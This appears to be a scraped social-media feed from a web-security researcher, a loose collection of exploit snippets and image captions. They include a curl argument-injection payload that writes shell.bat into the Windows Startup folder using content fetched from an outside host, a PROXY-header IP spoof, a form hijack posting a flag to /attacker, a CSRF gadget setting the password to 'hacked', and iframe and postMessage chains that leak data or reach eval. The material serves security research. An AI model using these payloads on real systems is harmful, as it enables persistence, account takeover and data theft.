Jorian

@jorianwoltjer.com

Normalize being weird.

https://yeswehack.github.io/Dom-Explorer/shared?id=860dd7e8-6ae1-41c6-9f06-68beb03e101c

$fetch("/copyme", { "body": "\x7f\" --next --variable %USERPROFILE --expand-output {{USERPROFILE}}/AppData/Roaming/Microsoft/Windows/StartM~1/Programs/Startup/shell.bat --url http://r.jtw.sh/?b=calc.exe -v \"", "method": "POST", });$

Windows shell:startup folder wrote shell.bat from conhost.exe opening calculator. Username in path highlighted

PROXY TCP4 127.0.0.1 1.2.3.4 1337 80
GET /ip HTTP/1.1
Host: 1.2.3.4:80

------------------------------------
HTTP/1.1 200 OK
Server: gunicorn

Your IP: 127.0.0.1

$async function release_once() { blocker.abort(); await sleep(0); blocker = fetch_long(1337); }$

<input type="text" name="flag">
----------- AFTER -------------
<form action="/attacker" id="x">
<input type="text" name="flag" form="x">
<input type="submit" form="x">
</form>

<iframe srcdoc='
<meta http-equiv="refresh" content="1;url=about:srcdoc?param=value">
<script src="/gadget.js"></script>
'></iframe>

<form action="/change_password" method="POST">
<input type="text" name="new_password" value="hacked">
<!-- Submit button is clicked by script gadget -->
<input type="submit" id="something">
</form>
<script src="/click-something.js"></script>

<iframe id="iframe" src="https://target.tld/dangling-object"></iframe>
<script>
iframe.onload = () => {
const object = iframe.contentWindow[0];
object.location = "about:blank"; // Navigate to our same-origin
const interval = setInterval(() => {
object.origin; // When it becomes same-origin
clearInterval(interval);
alert(object.name); // Leak its name (kept after navigation)
})
}
</script>

Content-Security-Policy: default-src 'none'

<object data="about:blank" name='
<form>
<input type="hidden" name="csrf" value="SECRET">
</form>
<script>
console.log('Hello, world!');
</script>

onclick = () => {
window.open(location.href);
location = "http://127.0.0.1:8000/vuln.html";
}
setTimeout(() => {
const iframe = document.createElement("iframe");
iframe.srcdoc = "";
document.body.appendChild(iframe);
iframe.onload = () => {
iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")');
iframe.remove();
}
}, 1000);

Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`

$<!DOCTYPE html> <html> <body> <h1>Impossible</h1> <div id="output">Waiting for messages...</div><br> <button id="loadIframeButton">Load Message Frame</button> <script> document.getElementById('loadIframeButton').addEventListener('click', () => { const iframe = document.createElement('iframe'); iframe.id = 'message_frame'; iframe.srcdoc = '<html><body><script>window.parent.postMessage("document.body.innerHTML = \'<h1>Impossible Message</h1>\'", "*");<\/script></body></html>'; iframe.style.display = 'none'; document.body.appendChild(iframe); }); </script> <script> window.onmessage = function (event) { if (event.source != window.message_frame?.contentWindow || window !== window.top) { document.getElementById('output').innerHTML = "No Hacker!"; return; } document.getElementById('output').innerHTML = "received"; const result = eval(event.data); }; </script> </body> </html>$